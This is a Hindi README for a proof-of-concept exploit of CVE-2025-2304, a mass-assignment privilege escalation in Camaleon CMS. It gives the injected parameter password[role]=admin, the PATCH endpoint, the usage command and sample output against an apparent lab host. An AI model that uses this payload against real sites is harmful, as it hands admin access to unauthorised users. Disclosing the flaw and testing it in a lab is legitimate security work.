CVE-2025-2304 — Camaleon CMS मास असाइनमेंट विशेषाधिकार वृद्धि (PoC)

Camaleon CMS < 2.9.1 में विशेषाधिकार वृद्धि भेद्यता। UsersController में updated_ajax एंडपॉइंट बिना फ़िल्टरिंग के params.require(:password).permit! को कॉल करता है, जिससे किसी भी पैरामीटर को मास-असाइन किया जा सकता है। एक प्रमाणित निम्न-विशेषाधिकार उपयोगकर्ता पासवर्ड बदलने के अनुरोध के साथ password[role]=admin इंजेक्ट करके एडमिन बन सकता है।

यह कैसे काम करता है

1. प्रदान किए गए क्रेडेंशियल्स से लॉगिन करके एक वैध सत्र प्राप्त करता है।
2. प्रोफ़ाइल पेज से वर्तमान उपयोगकर्ता का आईडी और भूमिका प्राप्त करता है।
3. पासवर्ड पैरामीटर में password[role]=admin इंजेक्ट करके /admin/users/<id>/updated_ajax पर एक PATCH अनुरोध भेजता है।
4. सत्यापित करता है कि भूमिका एडमिन में अपडेट हो गई है।

आवश्यकताएँ

• Python 3
• निर्भरताएँ स्थापित करें:

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4

उपयोग

python3 exploit.py http://TARGET -u USER -p PASS

उदाहरण:

$ python3 exploit.py http://facts.htb -u esteban -p password123
[*] Logging in as esteban...
[+] Logged in successfully
[*] User ID: 3, current role: editor
[*] Sending exploit payload...
[+] Privilege escalation successful! User is now admin.
[+] Login at http://facts.htb/admin with your credentials.

संदर्भ

• CVE-2025-2304
• Tenable Research Advisory
• Camaleon CMS 2.9.1 release (fix)

श्रेय

• खोज: Tenable Research
• सफाई और सरलीकरण: Esteban Zárate